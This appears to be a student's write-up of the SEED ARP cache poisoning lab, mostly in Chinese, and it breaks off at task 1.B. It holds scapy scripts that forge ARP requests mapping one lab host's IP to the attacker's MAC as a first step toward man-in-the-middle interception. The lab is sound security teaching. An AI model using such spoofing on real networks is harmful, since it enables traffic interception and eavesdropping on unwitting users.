ARP Cache Poisoning Attack Lab(SEED实验)
ARP缓存中毒攻击可以诱使受害者主机将报文发向攻击者指定的路由方向,并由此完成诸如中间人攻击等攻击手段。本实验使用scapy帮助学生通过ARP缓存中毒攻击以完成一场中间人攻击
环境配置
如本人前几次实验以及实验手册所述完成实验配置,这里不再展示。
Task 1 ARP缓存中毒
ARP报文格式如图:
使用arp -n
可以查看当前系统中的ARP缓存,可以用arp -d ip
删除对应缓存。如图使用ping完成通信后系统内就增加了对应的缓存:
生成一个ARP报文的样例:
#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.op = 1 # 1 for ARP request; 2 for ARP reply
pkt = E/A
sendp(pkt)
完成以下任务:
1.A
(using ARP request). On host M, construct an ARP request packet to map B’s IP address to M’s MAC address. Send the packet to A and check whether the attack is successful or not.
使用请求报文发给A并询问A的地址,同时在SRC中设置自己是谁,以此告诉对方自己的地址。
以下代码从M发出可以完成要求,但切不可从主虚机发出,否则由于A默认填写当前系统的MAC地址,所以会直接失去与A的通信。
#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.op = 1 # 1 for ARP request; 2 for ARP reply
A.psrc='10.9.0.6'
A.pdst='10.9.0.5'
pkt = E/A
sendp(pkt)
1.B
(using ARP reply). On host M, construct an ARP reply packet to map B’s IP address to
M’s MAC address. Send the packet to A and check whether the attack is successful or not. Try the attack under the following two scenarios, and report the results of your attack: